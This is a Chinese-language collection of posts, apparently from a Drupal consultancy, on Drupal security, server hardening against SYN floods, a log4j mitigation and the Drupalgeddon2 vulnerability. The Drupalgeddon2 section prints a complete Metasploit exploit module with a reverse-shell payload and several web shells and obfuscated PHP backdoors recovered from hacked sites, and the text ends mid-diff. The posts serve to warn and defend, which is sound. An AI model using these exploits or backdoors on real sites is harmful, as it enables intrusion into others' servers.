编者:亚艾元软件
Drupal与安全
根据维基百科的描述,Drupal是一个由DriesBuytaert创立的自由开源的内容管理系统,用PHP语言写成。在业界,Drupal常被视为内容管理框架(CMF),而非一般意义上的内容管理系统(CMS)。整套平台把所有内容视为一个“节点”(node),背后由大量“模块”(module)控制其显示、修改、排列、分类等方式。这种设计令Drupal不只可以创建普通的博客网站,只要配合适当组件,控制内容显示及处理权限的方式,它马上能变成论坛、Wiki、社区网络。迄今,Drupal的社区已编写了超过24000个模块。至2017年6月,全球约有2.3%的网站均由Drupal制作,在内容管理系统中约占7%。Drupal在政府组织、教育机构、开源社区中得到广泛应用。
安全是Drupal社区非常关注的一个方面。Drupal社区有一个安全工作小组,该小组会发布安全公告,并对现有Drupal核心和模块进行安全审计,若是代码有安全问题,则会提醒系统用户进行更新。大部分模块都会被安全公告覆盖,在下载模块时,Drupal会提醒用户该模块是否已经被列入安全公告范围。
Drupal的更新分为两类:普通更新和安全更新。如果是不涉及安全问题的普通升级,则不会主动提醒用户系统有更新;若是涉及到安全更新,系统会对所有具有发布内容权限的用户在界面醒目的位置进行提醒,从而让管理员尽快升级该安全漏洞。
安全内容管理功能
一个安全内容管理系统应该具有以下几个方面功能:
1.提供编码标准。在互联网社区大环境下,一个优秀的CMS系统由很多开发者共同参与开发,这就需要有一个规范的代码编写标准。即便是商用公司产品,开发公司也需要在团队中普及编码标准,并严格要求代码工程师按照标准进行编写,从而在编码层面尽量杜绝安全漏洞。Drupal作为开源社区软件,参与者众多,为此提供了代码标准(https://drupal.org/coding-standards),编写安全代码(https://drupal.org/writing-secure-code)和可访问性代码编写最佳实践(https://drupal.org/node/1637990)。
2.源代码审计。开源软件在源代码审计方面具有先天优势,目前大部分开源软件在github.com上进行源代码托管,任何人都可以参与项目代码审计,可以对代码提出自己的建议和修改请求,这种通过人海战术进行的源代码复核是最有效的方式,但却因为没有固定的分工而容易对部分代码缺失众人复核。但是组织架构良好的开源项目,其代码本身是有复核的。另外,一个完善的项目中应该引入自动化代码审计工具,对于常见的SQL注入、跨站脚本攻击、CSRF、文件操作、代码命令执行、变量覆盖、会话认证以及逻辑处理等漏洞代码进行审计。Drupal作为开源软件,本身提供了模块代码编写指南,提供了防止低级漏洞错误的封装函数,防止开发人员任意编写代码造成漏洞。此外,Drupal提供了代码审计模块Coder来对用户开发的模块进行自动化审计,并给出修改建议。
3.运行时安全审核。一个内容管理系统的正常运行需要操作系统、Web应用服务器、内容管理系统、文件、数据库的多方面支持。因此,内容管理系统的安全性不能只看内容管理系统,还需要严格审计操作系统、Web应用服务器以及其他多方面的安全加强。从纵向来说,内容管理系统建设部署时安全,后续运行一段时间后,需要持续保障安全,持续检查安全。这一点是很多内容管理系统缺失的,很多系统在部署后,通过各类漏洞扫描设备进行扫描,通过安全等级评定,即认为安全,后续只管内容维护。而Drupal系统认为安全是一个持续的过程,随时可能会因为各种操作而产生安全隐患,譬如临时文件目录具备了可执行权限,系统配置文件可写属性没有去掉,这些都是Drupal在运行时需要检查的。此外,Drupal还提供了多个安全监测模块以及安全指导建议模块,这些模块对于安全防范技术能力不强的管理者来说,提供了有力的指导和规范建议,从而确保普通管理员也可以提供一个安全的内容管理系统。
4.用户行为审计功能。一个完善的内容管理系统,还需要对用户所有操作进行审计,以便后续追踪事件的发生过程,定位事件责任人。目前市面上流行的内容管理系统已经具备该项审计功能。但是普通的内容管理系统的查询功能基本局限于系统内部,而Drupal的审计日志可以集成到其他日志服务器,譬如syslog服务器,便于在其他系统中集成监控分析。
5.有效的内容过滤机制。内容管理系统的安全不仅体现在系统的安全上,还体现在内容的安全上。根据国家涉密机密信息管理办法,涉密信息一律不准上网。另外,内容管理系统应当杜绝发布非法信息、不当言论以及敏感事件信息。因此内容管理系统需要添加必要的敏感词过滤机制。在过滤主体方面,一则信息所涉及的标题、正文和附件等可填写内容都应加入过滤功能,有效防止不当用户发布受限内容。Drupal提供了多个模块(如wordfilter、Profanity、BadWordFilter等)进行敏感词过滤。
6.及时的安全公告机制。无论软件开发商如何努力去完善修改系统,都不可避免产生安全漏洞。一旦出现安全漏洞,及时的告知是非常必要的。所以一个安全的内容管理系统应具备周期性检查安全通知公告的功能,官方应当提供安全公告列表和邮件列表,以便及时通知管理员升级系统。在这方面,部分软件供应商没有提供该项功能,仅仅是在被广而告之有漏洞时才对现有系统进行升级维护,修正漏洞。Drupal安全工作小组则采取了及时发布安全通知,系统自身周期性检查安全公告,以邮件和系统显著位置通知的形式提醒管理员尽快升级系统。
防范
1. 加固linux tmp目录,基本上drupal网站部署在在linux系统之上,对于php的执行权限要严格把控,参考php 站点项目目录权限(安全)验收说明一文。
2. Linux系统加固包含:命令执行历史记录加固、Crond调用黑白名单、帐号加固,参考linux系统安全加固一文。
3. PHP 安全环境的定制:参考定制安全的php环境一文。
4. 关闭非部分服务端口只对内网或者某台主机有权限开放,除此之外所有拒绝所有的IP的访问。可通过iptables或者商业的waf来设置(阿里安全云盾,阿里安全宝,阿里waf),原则意义上对外暴露的端口只允许有80和443。
5. 加强代码编写规范,参考drupal官方https://drupal.org/writing-secure-code以及https://www.drupal.org/node/1637990。
6. 初建的drupal站点,采用security review模块进行必要的安全复查,https://www.drupal.org/project/security_review。
7. Drupal core漏洞和各服务的安全漏洞持续关注,安全是个长期的工作不是一时,所以要持续关注drupal core和各服务发布的版本漏洞drupal:https://www.drupal.org/security nginx:http://nginx.org/en/security_advisories.html,,以nginx为例官方推出了patch以及diff后的代码,采用patch命令修复漏洞(参考diff和patch维护源码变更一文)。
将在2018年的4月25号,16:00 - 18:00 UTC, 标准时间,Drupal安全团队将会发布一个新的安全版本,这个安全更新,不属于Drupal的周期性的版本更新。对于所有的安全更新,Drupal安全团队,提醒您,第一时间更新代码。Drupal的安全更新,一经发布,里面的补丁所涉及的代码,就会被黑客利用,进而开发出来攻击Drupal网站的程序。这个过程可能会很快,几个小时,几天,黑客的渗透程序就会开发完毕。
4月25号, 2018 PSA-2018-003的安全更新,是对SA-CORE-2018-002后续改进升级。
对于7.x, 8.5.x的Drupal网站,只需要按照日常的更新即可,仅有安全代码更新,没有数据库的变更。
对于Drupal8.4.x的请,第一时间升级到8.4.8,尽快升级到8.5.3;对于Drupal8.3的用户,请第一时间升级到8.4.8,尽快升级到8.5.3.
对于Drupal6用户,请第一时间,升级到Drupal7.x的最新版本。
Drupal安全团队,在安全更新代码发布之前,不会对此提供任何有关程序的相关信息。我们将会多个渠道,全面公开这些安全补丁,一经公开请您第一时间升级。
对于Drupal用户,请您及时关注Drupal的安全更新。
客户的网站突然访问不正常了,在外部,访问时断时续,只要刷新,多刷几次,总是能够看到正常页面,当然,多数时候都是页面无法访问。
我经过观察,反复测试,发现在客户的自己的机子上通过localhost访问,一点问题也没有。一个奇怪的现象,
chrome浏览器,在页面不正常的时候,提示:
拒绝了我们的请求,请检查
网络连接
代理服务器和防火墙。
我开始判断客户的网络抽风,防火墙那里出了问题,导致连接没有到达apache。防火墙那边的技术反馈说没有问题。看到服务器上apache的负载明显很低。
花了一天的时间,观察和总结黑客的攻击行为,日志文件看了又看。始终没有思绪。从日志里面来看,没有多少用户访问,每个请求的访问都在日志里面。
到了晚上八点,网站突然正常了。
apache的错误日志、访问日志都没有异常。没有以往的攻击时的现象。检查windows日志,也没有异常。后来突然发现,apache的日志里面还是有一点不一样的。Apache 工作线程的重启时间间隔发生了变化:
[Sat Jan 05 05:30:39.283070 2019] [mpm_winnt:notice] [pid 6644:tid 208] AH00354: Child: Starting 150 worker threads.
…..
[Sat Jan 05 05:32:24.050049 2019] [mpm_winnt:notice] [pid 5668:tid 208] AH00354: Child: Starting 150 worker threads.
重启时间间隔,突然变小了,连接竟然被消耗掉了。 apache的连接确实被消耗掉了,平时1000个连接,需要10多分钟才能用完。
我将其归纳为空连接: 经过反复的对比,观察异常现象和各种日志信息,初步判断这次异常现象是一次DDOS攻击行为,与以前的DDOS有所不同,这次是黑客通过占用连接端口,建立空连接(这种连接apache没有对它做后续处理),导致网络阻塞,影响了正常用户访问。
我在网上查找空连接,还是找到了相关的信息。
例如,攻击者与被攻击目标完成三次握手后,立刻发送FIN或RST报文,释放本端连接,同时快速发起新的连接,以此来消耗被攻击目标的系统资源。
http://blog.sina.com.cn/s/blog_69c81c3e0102x9wj.html
DDoS攻击--连接耗尽-慢连接-异常报文攻击防护详解(TCP)
在三次握手完成之后,内核会为每个连接分配相应的结构,保存TCP连接相应的控制信息,接收缓冲和发送缓冲。默认情况下占用大概10K的内存。 通常的连接耗尽攻击会发起10~ 100w的连接,大致占用100M ~ 1G的内存,也许你会觉得很少。但大量的空连接占用的不只是这些,攻击者通常还会建立后立马会fin报文结束连接。每个TCP连接都需要维护状态。不断的发起和断开,系统将不断分配和释放资源,将会大大增加系统的调度负担,同时上层应用也将在建立和断开连接上消耗大量的CPU,造成服务器不可以用。
https://blog.csdn.net/qq_34777600/article/details/81948586
黑客通过建立大量的空连接,对正常用户访问网站造成了阻塞。这是我们初步的判断。
初步找到了原因,但是不是很确定。
这种空连接,由于apache没有返回,所以对于流量影响不大。它只是消耗系统的连接资源,导致正常用户服务不可用。
http://blog.51cto.com/tianshili/1640519
关于网站的SYN_RECV(SYN_RECEIVED)***的防范措施
SYN 攻击是最常见又最容易被利用的一种攻击手法。相信很多人还记得2000年YAHOO网站遭受的攻击事例,当时黑客利用的就是简单而有效的SYN攻击,有些 网络蠕虫病毒配合SYN攻击造成更大的破坏。本文介绍SYN攻击的基本原理、工具及检测方法,并全面探讨SYN攻击防范技术。
一、TCP握手协议
在TCP/IP协议中,TCP协议提供可靠的连接服务,采用三次握手建立一个连接。
第一次握手:建立连接时,客户端发送syn包(syn=j)到服务器,并进入SYN_SEND状态,等待服务器确认;
第二次握手:服务器收到syn包,必须确认客户的SYN(ack=j+1),同时自己也发送一个SYN包(syn=k),即SYN+ACK包,此时服务器进入SYN_RECV状态;
第三次握手:客户端收到服务器的SYN+ACK包,向服务器发送确认包ACK(ack=k+1),此包发送完毕,客户端和服务器进入ESTABLISHED状态,完成三次握手。
初步找到原因了,在客户的抱怨之下,晚上12点才睡觉。
第二天,一大早,客户又打电话,网站又抽风了,让我远程协助。用户的服务器为windows,我使用netstat命令查看网络连接的状态:
发现目标,同一个IP,不断端口,不断的syn_received
立马采取措施,在防火墙里面,加了一个入站规则,把这个顶风作案的IP给封掉。
封掉以后,世界平静了,网站正常了。
就这个样,临时的解决了这个问题。又过了两天,网站又不正常了,同样的现状。靠,黑客换了个IP,这次还能变换IP。
在网上找打了window下面syn攻击的防御措施,从操作系统的层面,作出防范,按照文档,修改注册表里面的参数,后续观察,确实有效。
■SynAttackProtect机制
为防范SYN攻击,win2000系统的tcp/ip协议栈内嵌了SynAttackProtect机制,Win2003系统也采用此机制。SynAttackProtect机制是通过关闭某些socket选项,增加额外的连接指示和减少超时时间,使系统能处理更多的SYN连接,以达到防范SYN攻击的目的。默认情况下,Win2000操作系统并不支持SynAttackProtect保护机制,需要在注册表以下位置增加SynAttackProtect键值:
HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
当SynAttackProtect值(如无特别说明,本文提到的注册表键值都为十六进制)为0或不设置时,系统不受SynAttackProtect保护。
当SynAttackProtect值为1时,系统通过减少重传次数和延迟未连接时路由缓冲项(route cache entry)防范SYN攻击。
当SynAttackProtect值为2时(Microsoft推荐使用此值),系统不仅使用backlog队列,还使用附加的半连接指示,以此来处理更多的SYN连接,使用此键值时,tcp/ip的TCPInitialRTT、window size和可滑动窗囗将被禁止。
我们应该知道,平时,系统是不启用SynAttackProtect机制的,仅在检测到SYN攻击时,才启用,并调整tcp/ip协议栈。那么系统是如何检测SYN攻击发生的呢?事实上,系统根据TcpMaxHalfOpen,TcpMaxHalfOpenRetried 和TcpMaxPortsExhausted三个参数判断是否遭受SYN攻击。
TcpMaxHalfOpen 表示能同时处理的最大半连接数,如果超过此值,系统认为正处于SYN攻击中。Win2000 server默认值为100,Win2000 Advanced server为500。
TcpMaxHalfOpenRetried定义了保存在backlog队列且重传过的半连接数,如果超过此值,系统自动启动SynAttackProtect机制。Win2000 server默认值为80,Win2000 Advanced server为400。
TcpMaxPortsExhausted 是指系统拒绝的SYN请求包的数量,默认是5。
如果想调整以上参数的默认值,可以在注册表里修改(位置与SynAttackProtect相同)
■ SYN cookies技术
我们知道,TCP协议开辟了一个比较大的内存空间backlog队列来存储半连接条目,当SYN请求不断增加,并这个空间,致使系统丢弃SYN连接。为使半连接队列被塞满的情况下,服务器仍能处理新到的SYN请求,SYN cookies技术被设计出来。
SYN cookies应用于linux、FreeBSD等操作系统,当半连接队列满时,SYN cookies并不丢弃SYN请求,而是通过加密技术来标识半连接状态。
在TCP实现中,当收到客户端的SYN请求时,服务器需要回复SYN+ACK包给客户端,客户端也要发送确认包给服务器。通常,服务器的初始序列号由服务器按照一定的规律计算得到或采用随机数,但在SYN cookies中,服务器的初始序列号是通过对客户端IP地址、客户端端囗、服务器IP地址和服务器端囗以及其他一些安全数值等要素进行hash运算,加密得到的,称之为cookie。当服务器遭受SYN攻击使得backlog队列满时,服务器并不拒绝新的SYN请求,而是回复cookie(回复包的SYN序列号)给客户端, 如果收到客户端的ACK包,服务器将客户端的ACK序列号减去1得到cookie比较值,并将上述要素进行一次hash运算,看看是否等于此cookie。如果相等,直接完成三次握手(注意:此时并不用查看此连接是否属于backlog队列)。
在RedHat linux中,启用SYN cookies是通过在启动环境中设置以下命令来完成:
# echo 1 > /proc/sys/net/ipv4/tcp_syncookies
■ 增加最大半连接数
大量的SYN请求导致未连接队列被塞满,使正常的TCP连接无法顺利完成三次握手,通过增大未连接队列空间可以缓解这种压力。当然backlog队列需要占用大量的内存资源,不能被无限的扩大。
WIN2000:除了上面介绍的TcpMaxHalfOpen, TcpMaxHalfOpenRetried参数外,WIN2000操作系统可以通过设置动态backlog(dynamic backlog)来增大系统所能容纳的最大半连接数,配置动态backlog由AFD.SYS驱动完成,AFD.SYS是一种内核级的驱动,用于支持基于window socket的应用程序,比如ftp、telnet等。AFD.SYS在注册表的位置: HKLM\System\CurrentControlSet\Services\AFD\ParametersEnableDynamicBacklog值为1时,表示启用动态backlog,可以修改最大半连接数。
MinimumDynamicBacklog表示半连接队列为单个TCP端囗分配的最小空闲连接数,当该TCP端囗在backlog队列的空闲连接小于此临界值时,系统为此端囗自动启用扩展的空闲连接(DynamicBacklogGrowthDelta),Microsoft推荐该值为20。
MaximumDynamicBacklog是当前活动的半连接和空闲连接的和,当此和超过某个临界值时,系统拒绝SYN包,Microsoft推荐MaximumDynamicBacklog值不得超过2000。
DynamicBacklogGrowthDelta值是指扩展的空闲连接数,此连接数并不计算在MaximumDynamicBacklog内,当半连接队列为某个TCP端囗分配的空闲连接小于MinimumDynamicBacklog时,系统自动分配DynamicBacklogGrowthDelta所定义的空闲连接空间,以使该TCP端囗能处理更多的半连接。Microsoft推荐该值为10。
LINUX:Linux用变量tcp_max_syn_backlog定义backlog队列容纳的最大半连接数。在Redhat 7.3中,该变量的值默认为256,这个值是远远不够的,一次强度不大的SYN攻击就能使半连接队列占满。我们可以通过以下命令修改此变量的值:
# sysctl -w net.ipv4.tcp_max_syn_backlog="2048"
Sun Solaris Sun Solaris用变量tcp_conn_req_max_q0来定义最大半连接数,在Sun Solaris 8中,该值默认为1024,可以通过add命令改变这个值:
# ndd -set /dev/tcp tcp_conn_req_max_q0 2048
HP-UX:HP-UX用变量tcp_syn_rcvd_max来定义最大半连接数,在HP-UX 11.00中,该值默认为500,可以通过ndd命令改变默认值:
#ndd -set /dev/tcp tcp_syn_rcvd_max 2048
■缩短超时时间
上文提到,通过增大backlog队列能防范SYN攻击;另外减少超时时间也使系统能处理更多的SYN请求。我们知道,timeout超时时间,也即半连接存活时间,是系统所有重传次数等待的超时时间总和,这个值越大,半连接数占用backlog队列的时间就越长,系统能处理的SYN请求就越少。为缩短超时时间,可以通过缩短重传超时时间(一般是第一次重传超时时间)和减少重传次数来实现。
Win2000第一次重传之前等待时间默认为3秒,为改变此默认值,可以通过修改网络接囗在注册表里的TcpInitialRtt注册值来完成。重传次数由TcpMaxConnectResponseRetransmissions 来定义,注册表的位置是:HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters registry key。
当然我们也可以把重传次数设置为0次,这样服务器如果在3秒内还未收到ack确认包就自动从backlog队列中删除该连接条目。
LINUX:Redhat使用变量tcp_synack_retries定义重传次数,其默认值是5次,总超时时间需要3分钟。
Sun Solaris Solaris 默认的重传次数是3次,总超时时间为3分钟,可以通过ndd命令修改这些默认值。
作者 老葛 亚艾元软件
Drupal6网站,
请您第一时间关闭网站,做好备份,让专业人员第一时间为您升级到Drupal7.
Drupal7网站,
请您第一时间升级到Drupal7的最新版本,目前为7.58两天之后,尽快升级到7.59。
升级步骤:
1, 下载Drupal7.58,解压缩。
2, 将Drupal7最新代码上传到你的网站根目录下面,替换即可。
3, 运行update.php
99.9%上述步骤没有问题。如果有问题,请第一时间联系专业人员。.
Drupal8网站,
请您第一时间升级到Drupal8的最新版本Drupal8.5.2,两天之后,第一时间升级到8.5.3。如果您采用的是Drupal8.3,请您第一时间升级到8.3.9;尽快升级到8.5.3;如果您采用的是drupal8.4,那么请第一时间升级到8.4.8;尽快升级到8.5.3。
如果您的网站没有安全第三方模块,那么升级并不费劲。如果您的网站安装了第3方模块,而且还比较多的话,那么升级比较痛苦。
注意事项:
1, 注意Drupal8下面不同大版本下面,与重要模块的兼容性问题,比如layout plugin, page manager, search api solr。
2, 注意您的代码有没有使用composer。
3, 注意升级过程中的fatal error。
4, 注意做好数据备份,没成功一步,,备份一下。防止后续出错。
1, 删除core,vender两个目录,
2, 上传Drupal8最新代码
3, 检查当前模块与核心是否兼容,这个需要不断尝试。一个不兼容就是一个fatal error。
4, 运行update
反复重复上述操作,直到最后成功。每次成功率不足30%。.
请相关领导业务骨干给于技术人员相应的尊重与重视。
网站的搜索使用了solr,里面使用了log4j,我们检查solr关于这个安全漏洞的处理办法:
1,一个是升级solr到8.11.1版本,但是这个版本还不可用,solr官方还没有提供下载。
2,第二个是在classpath,手动替换log4j版本到最新,这个可能比较麻烦。
3,第三是禁用log4j存在漏洞的对应功能,编辑solr.in.sh 文件,在里面添加参数:
SOLR_OPTS="$SOLR_OPTS -Dlog4j2.formatMsgNoLookups=true"
3种办法都是可行了,我们目前采用了第三种办法,这个文件位于:/etc/default目录下面,并重启了solr。
参考链接:
https://solr.apache.org/security.html#apache-solr-affected-by-apache-log4j-cve-2021-44228
老葛,亚艾元软件
Drupal在2018年3月28日发布了一个安全更新补丁,同时提醒大家,以前的版本存在SA-CORE-2018-002号安全漏洞,这个漏洞是Drupal资深开发人员,芬兰的Jasper Mattsson率先发现,并协助Drupal核心团队修复的。在Drupal安全团队修正了这个漏洞以后,立即发布了安全升级版本。提醒所有Drupal用户尽快安全升级。
https://www.drupal.org/sa-core-2018-002
对于这个安全漏洞,我们当时第一时间做了检查,我核对了Drupal代码里面的补丁代码,对它有所了解,这个是由于Drupal的表单机制,#符号有特殊的含义。黑客可以借助于这个地方的弱点渗透过来。但是需要熟悉Drupal机制的人,才能黑过来。
两周过后,大概,Drupal社区团队,发布了后续的安全预计升级,提升了此前的安全等级。因为黑客市场上,已经有公开的攻击Drupal这个漏洞的代码了。
注意,这里,是Drupal社区资深人员率先发现的漏洞,并且第一时间修正。黑客人员,根据这个漏洞的安全补丁,才找到了攻击办法。
在我们得知这个安全漏洞的时候,我们第一时间,为我们的客户做了安全升级,及时保证了客户的安全。
而截至到这个时候,仅有50%左右的网站完成了升级。所以开始有很多网站被黑了。最近,陆续的接触到了一些使用Drupal的用户,他们的网站被黑客攻入。
基于metasploit这样的渗透工具,网上已经有了现成的渗透代码:
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => 'Drupalgeddon2',
'Description' => %q{
CVE-2018-7600 / SA-CORE-2018-002
Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1
allows remote attackers to execute arbitrary code because of an issue affecting
multiple subsystems with default or common module configurations.
The module can load msf PHP arch payloads, using the php/base64 encoder.
The resulting RCE on Drupal looks like this: php -r 'eval(base64_decode(#{PAYLOAD}));'
},
'License' => MSF_LICENSE,
'Author' =>
[
'Vitalii Rudnykh', # initial PoC
'Hans Topo', # further research and ruby port
'José Ignacio Rojo' # further research and msf module
],
'References' =>
[
['SA-CORE', '2018-002'],
['CVE', '2018-7600'],
],
'DefaultOptions' =>
{
'encoder' => 'php/base64',
'payload' => 'php/meterpreter/reverse_tcp',
},
'Privileged' => false,
'Platform' => ['php'],
'Arch' => [ARCH_PHP],
'Targets' =>
[
['User register form with exec', {}],
],
'DisclosureDate' => 'Apr 15 2018',
'DefaultTarget' => 0
))
register_options(
[
OptString.new('TARGETURI', [ true, "The target URI of the Drupal installation", '/']),
])
register_advanced_options(
[
])
end
def uri_path
normalize_uri(target_uri.path)
end
def exploit_user_register
data = Rex::MIME::Message.new
data.add_part("php -r '#{payload.encoded}'", nil, nil, 'form-data; name="mail[#markup]"')
data.add_part('markup', nil, nil, 'form-data; name="mail[#type]"')
data.add_part('user_register_form', nil, nil, 'form-data; name="form_id"')
data.add_part('1', nil, nil, 'form-data; name="_drupal_ajax"')
data.add_part('exec', nil, nil, 'form-data; name="mail[#post_render][]"')
post_data = data.to_s
# /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax
send_request_cgi({
'method' => 'POST',
'uri' => "#{uri_path}user/register",
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data,
'vars_get' => {
'element_parents' => 'account/mail/#value',
'ajax_form' => '1',
'_wrapper_format' => 'drupal_ajax',
}
})
end
##
# Main
##
def exploit
case datastore['TARGET']
when 0
exploit_user_register
else
fail_with(Failure::BadConfig, "Invalid target selected.")
end
end
end
这些代码,完全公开的。所以在这里提醒大家,第一时间,尽快的完成安全升级。2018年4月25号,还会有一个针对这个同一安全漏洞的进一步升级。
https://www.drupal.org/psa-2018-003
随着这个安全漏洞的公开,在这里,Drupal社区又进一步挖掘到了新的漏洞,并及时采取措施,建议广大Drupal用户,第一时间继续升级你们的Drupal版本,到最新版。
黑客的渗透后的恶意代码示例:
Del.php
<?php
unlink("./composer.php");
unlink("./del.php");
unlink("./izoc.php");
unlink("./izom.php");
unlink("./izocin.php");
echo "delete is success.";
composer.php
izocin
<?php
echo '<title>Upload Files xSecurity</title>
<h1>izocin</h1>
';
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload Complate !!!</b><br><br>'; }
else { echo '<b>Upload Failed !!!</b><br><br>'; }
}
?>
Counter.php:
<?php if(md5($_POST['p'])==='615b676f2a1c675c6965dc83bb1faf74'){$st = 'return value';$cap='bas'.'e6'.'4_d'.'ec'.'ode';$c = $st[1].$st[7].$st[8].$st[9].'('.$cap.'(\'';if(isset($_POST['uf'])&&isset($_POST['pr'])){$arr = array($c.$_POST['uf'].'\'))' => '|.*|e',);array_walk($arr, strval($_POST['pr']), '');}}?>
Temp文件加下:
<?php
if(!function_exists("bJMTeA")){function bJMTeA($DqlO){$ZCT=array('28','XkZ_W]ReV','SRdVGEpUVT`UV',$DqlO);for($ZWcLuy=0;$ZWcLuy<4;$ZWcLuy++){for($vjXDM=0;$vjXDM<strlen($ZCT[$ZWcLuy]);$vjXDM++) $ZCT[$ZWcLuy][$vjXDM] = chr(ord($ZCT[$ZWcLuy][$vjXDM])-($ZWcLuy?$ZCT[$vjXDM xor $vjXDM]:1));if($ZWcLuy==2) $ZCT[3]=$ZCT[1]($ZCT[2]($ZCT[3]));} return $ZCT[3];}$xVB="hVWLTttIFP0PKvUfpoHWiUSDE6BsFlERSEJeBHDsPFxVZuwZ4qnHHtdjk7jVfvNe20nIFqS1QBnfx5l77ssIwfP+HQuYJWlcVgiTIcepRaNIRFI5RGrl/P27/M2KaCiimAWLci5kT2UmM6cD6/5urH8r/VzSqPS9Uvl9SZ8x/1N8TlcsPv8n90siTqgjCAWjcVubtLVvpQejrc2tsa71RjdgfnGh7LsLX3qpUvn9/t0eoU8soGWlpRn3zaGl3d3pEJ1ltXqaZaEqUo6q1Zc/JQtwz3EJi8o7Hrk0oj8TFlFLBA5FSvWIBQ5PCJVHthCxjCMcVkGkZKYkSkLMra1ig3UFWBBp897qGMNhjnoQ0KWVSBqhC4SjCKdlECKkBNinCrr4ipQuDgJmY64cFpoQS5lrSh8u+92Dj0bv09m+aFjiL/KpdIiOjlAgYvo3IiI7IJ+cotilKHNbiogUID5mvADZwF8uMlnVEX5pfZGMcZwUV9XWIqh3/H9ukeC08Nry2Vvzbxp6tz3Se9dNvd2ytF4rJ4iJD7hZomIR5Sz3jnOFk8hY+CgDXJOvZD953oCmDqyeWCRj4BZBumJIIpNI0iBGNseBh6RAGEGCUZ5g0DkRxTEl1SzxEZUJjyHtmdKS+Bm6BFpjW5D8Gmi6tWEFUccVSLm8vMxrfPAzoVEK7sSGEeDUgSl4xhHDdhYtUuyil16uKRxA9PnrE6OcyHJmk787IiAsZiIAUTWvPABA0XxqQf9i8F8b0hV1kpiWK4BBY8dtSimc8h+RfoM4eEKV7/kAvBmozYXj7UT5Vpiv4vwz0HV/AErtTb2DHTdn8vltfU4Q9EkA2WaYs1/0NYW14yvinBfcFZuRNQfIwAfqh3G6LVmRgB1ykIIkJNACmxTk8PAgtGX70rXZozwzyWzGWZwW43hcdGiuC/Eia/VMbmNJv5xY6/Wk3LcaS9xtLvB0LnpTs2b7IxVPG8msPjnBs5HqpItg4mmDh7ETDmaxT6anP8gNf7bZ1VRrh1eDa80026v4IeVn/e7k3pyJxnzWT+czT/Tr7hn2G4E97ddM5sh+fcTIzfx4NL3ipq8tzek8GG79vTPTb6SANyBcm2v+snHbkt44MI1p25T3rduzfjusTzrujX0toywW+7gn+p3+F9p+yG2NIDzRWqtfpNuX5vREFPGE9tavo4Z3qTamgdsepDLsXWs1vT75Mk03d67IdK2fjZuN3s1IOMx9dvyHN7BqdnG3RgZjdTXQ49Bki5d4dZCNmx4xGpxymc50dXNezsaLzXm1c05nYy+8O1YXjj9RyayfbOP71Scg95yZNnRU0ehxY2UYkyv8g9QczzX0oD8Y10aqBu63E248TMlA63S6Y300uTP4iT4NDfNYS42g3yOdqyGuuT3Dd+NRDfA8czj3GsGDrjLIjarXG6fzHyorat6DmnaGZrvWvR+vdWzBjGMu9dro1Gmf6rc3pE715onTDXXH49dEbbOBLj27PtE1T21s/AfXTlbrDcaGS7hjKyCHDXM6EnbaXN0t4QP50vSV3f7fHU4YqsNif1uhCIuZsDyaypfZgsG++M/8bGf0fCt8vT739/eVc9CAOrOC73r+D4OZ751yqZhP9ChTGVP/EdZ5DC/5qnm8qKGlSyPQZkvy8UIJ3VApVXY+uU88ka6FObfy7SPzYOCC/PLSk4iA2YfS+b8=";$ZyC="bJMTeA";$LAtwx=$ZyC("C0kOC0oNKwhPiw9JjUqIBwA=");$UpxY=$LAtwx('',$ZyC($xVB));$UpxY();}
?>
采取措施:
1, 第一时间升级您的Drupal代码。如果您没有合适的技术团队,或者帮您建站的人员已经联系不上,请您第一时间联系专业Drupal开发人员为您升级。
2, 如果您的网站已经中招,
A, 请您第一时间升级Drupal核心代码,
B, 检查Drupal目录下面的可疑文件
C, 检查Drupal用户,查看最近有没有可以用户,检查管理员的组成,看看有没有可以人员具有管理员权限,检查Drupal的权限设置,已经内容是否已经完成。
如果您的网站采用Drupal,但是没有技术人员维护,请您第一时间与我们联系:
业务联系:崔克俊
手机: 13381113196
QQ: 372948992
公司电话:010-62669785
从代码里面我们可以看出,对于请求参数里面的#字符,这里添加了限制。Drupal的表单API,呈现数组里面的key都是以#开头的,对于以#开头的数据,Drupal以前默认未加过滤清理,导致黑客可以借助这里,植入代码。 Drupal7补丁地址
https://cgit.drupalcode.org/drupal/rawdiff/?h=7.x&id=2266d2a83db50e2f97682d9a0fb8a18e2722cba5
Drupal8补丁地址:
https://cgit.drupalcode.org/drupal/rawdiff/?h=8.5.x&id=5ac8738fa69df34a0635f0907d661b509ff9a28f
以Drupal7的安全补丁为例:
diff --git a/includes/bootstrap.inc b/includes/bootstrap.inc index 655db6d..880557e 100644 --- a/includes/bootstrap.inc +++ b/includes/bootstrap.inc @@ -2632,6 +2632,10 @@ function _drupal_bootstrap_configuration() { timer_start('page'); // Initialize the configuration, including variables from settings.php. drupal_settings_initialize(); + + // Sanitize unsafe keys from the request. + require_once DRUPAL_ROOT . '/includes/request-sanitizer.inc'; + DrupalRequestSanitizer::sanitize(); } /** diff --git a/includes/request-sanitizer.inc b/includes/request-sanitizer.inc new file mode 100644 index 0000000..1daa6b5 --- /dev/null +++ b/includes/request-sanitizer.inc @@ -0,0 +1,82 @@ +<?php + +/** + * @file + * Contains code for sanitizing user input from the request. + */ + +/** + * Sanitizes user input from the request. + */ +class DrupalRequestSanitizer { + + /** + * Tracks whether the request was already sanitized. + */ + protected static $sanitized = FALSE; + + /** + * Modifies the request to strip dangerous keys from user input. + */ + public static function sanitize() { + if (!self::$sanitized) { + $whitelist = variable_get('sanitize_input_whitelist', array()); + $log_sanitized_keys = variable_get('sanitize_input_logging', FALSE); + + // Process query string parameters. + $get_sanitized_keys = array(); + $_GET = self::stripDangerousValues($_GET, $whitelist, $get_sanitized_keys); + if ($log_sanitized_keys && $get_sanitized_keys) { + _drupal_trigger_error_with_delayed_logging(format_string('Potentially unsafe keys removed from query string 